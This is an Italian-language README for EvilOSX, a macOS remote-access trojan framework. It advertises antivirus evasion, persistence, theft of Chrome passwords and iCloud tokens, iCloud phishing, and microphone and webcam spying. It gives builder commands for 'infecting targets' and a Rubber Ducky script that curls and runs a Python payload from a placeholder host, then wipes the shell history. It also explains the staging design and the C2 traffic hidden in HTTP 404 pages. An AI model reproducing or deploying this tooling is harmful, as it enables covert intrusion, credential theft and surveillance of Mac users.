EvilOSX
Marco Generator di Cedric Owens
Questo progetto non è più attivo
Funzionalità
- Emula un'istanza del terminale
- Sistema di moduli semplice e estendibile
- Nessuna dipendenza per il bot (puro python)
- Non rilevato dagli antivirus (payload crittografati con OpenSSL AES-256)
- Persistente
- Supporto GUI e CLI
- Recupera le password di Chrome
- Recupera token e contatti iCloud
- Recupera/monitora gli appunti
- Recupera la cronologia del browser (Chrome e Safari)
- Phishing per password iCloud tramite iTunes
- Enumerazione del backup di iTunes (iOS)
- Registra il microfono
- Scatta uno screenshot del desktop o una foto usando la webcam
- Tenta di ottenere i privilegi di root tramite escalation di privilegi locale
Come Usare
# Clona o scarica questo repository
$ git clone https://github.com/Marten4n6/EvilOSX
# Entra nella repository
$ cd EvilOSX
# Installa le dipendenze richieste dal server
$ sudo pip install -r requirements.txt
# Avvia la GUI
$ python start.py
# Infine, esegui un launcher compilato sui tuoi target
Attenzione: Poiché i payload vengono creati in modo univoco per il sistema target (automaticamente dal server), il server deve essere in esecuzione quando un bot si connette per la prima volta.
Utenti avanzati
C'è anche una CLI per chi volesse usarlo su SSH:
# Crea un launcher per infettare i tuoi target
$ python start.py --builder
# Avvia la CLI
$ python start.py --cli --port 1337
# Infine, esegui un launcher compilato sui tuoi target
Screenshot

Motivazione
Questo progetto è stato creato per essere usato con il mio Rubber Ducky, ecco il semplice script:
REM Scarica ed esegue EvilOSX @ https://github.com/Marten4n6/EvilOSX
REM Vedi anche: https://ducktoolkit.com/vidpid/
DELAY 1000
GUI SPACE
DELAY 500
STRING Termina
DELAY 1000
ENTER
DELAY 1500
REM Uccide tutti i terminali dopo x secondi
STRING screen -dm bash -c 'sleep 6; killall Terminal'
ENTER
STRING cd /tmp; curl -s HOST_TO_EVILOSX.py -o 1337.py; python 1337.py; history -cw; clear
ENTER
- Ci vogliono circa 10 secondi per backdoorare qualsiasi Mac sbloccato, il che è...... carino
- Terminal è scritto così di proposito, su alcuni sistemi spotlight altrimenti non trova il terminale.
- Per bypassare l'assistente di configurazione della tastiera assicurati di cambiare VID&PID che si trova qui.
Molto probabilmente stai cercando la tastiera in alluminio (ISO).
Versionamento
EvilOSX sarà mantenuto secondo le linee guida del Semantic Versioning per quanto possibile.
Le release del server e del bot saranno numerate con il seguente formato:
E costruite con le seguenti linee guida:
- La rottura della retrocompatibilità (con bot più vecchi) incrementa la major
- Nuove aggiunte senza rompere la retrocompatibilità incrementano la minor
- Bug fix e modifiche varie incrementano il patch
Per maggiori informazioni su SemVer, visita https://semver.org/.
Note di Progettazione
- L'infezione di una macchina è suddivisa in tre parti:
- Un launcher viene eseguito sulla macchina target con l'unico obiettivo di eseguire lo stager
- Lo stager chiede al server un loader che gestisce come verrà caricato un payload
- Al loader viene fornito un payload crittografato in modo univoco e poi rispedito allo stager
- Il server nasconde le sue comunicazioni inviando messaggi nascosti in pagine di errore HTTP 404 (da BlackHat "Hiding In Plain Sight")
- Le richieste di comando vengono recuperate dal server tramite una richiesta GET
- Le risposte ai comandi vengono inviate al server tramite una richiesta POST
- I moduli sfruttano la natura dinamica di Python; vengono semplicemente inviati sulla rete compressi con zlib, insieme a tutte le opzioni di configurazione
- Poiché il bot comunica solo con il server e mai al contrario, il server non ha modo di sapere quando un bot va offline
Problemi
Sentiti libero di inviare qualsiasi problema o richiesta di funzionalità qui.
Contributi
Per una semplice guida su come creare moduli, clicca qui.
Crediti
- Il fantastico progetto Empire
- Ringraziamenti a Patrick Wardle per i suoi fantastici talk, dai un'occhiata a Objective-See
- manwhoami per i suoi progetti: OSXChromeDecrypt, MMeTokenDecrypt, iCloudContacts
(ora cancellati... fammi sapere se ricompaiono)
- Il modulo slowloris è praticamente copiato da PySlowLoris
- urwid e questo codice che mi hanno risparmiato molto tempo con la CLI
- Logo creato da motusora
Licenza
GPLv3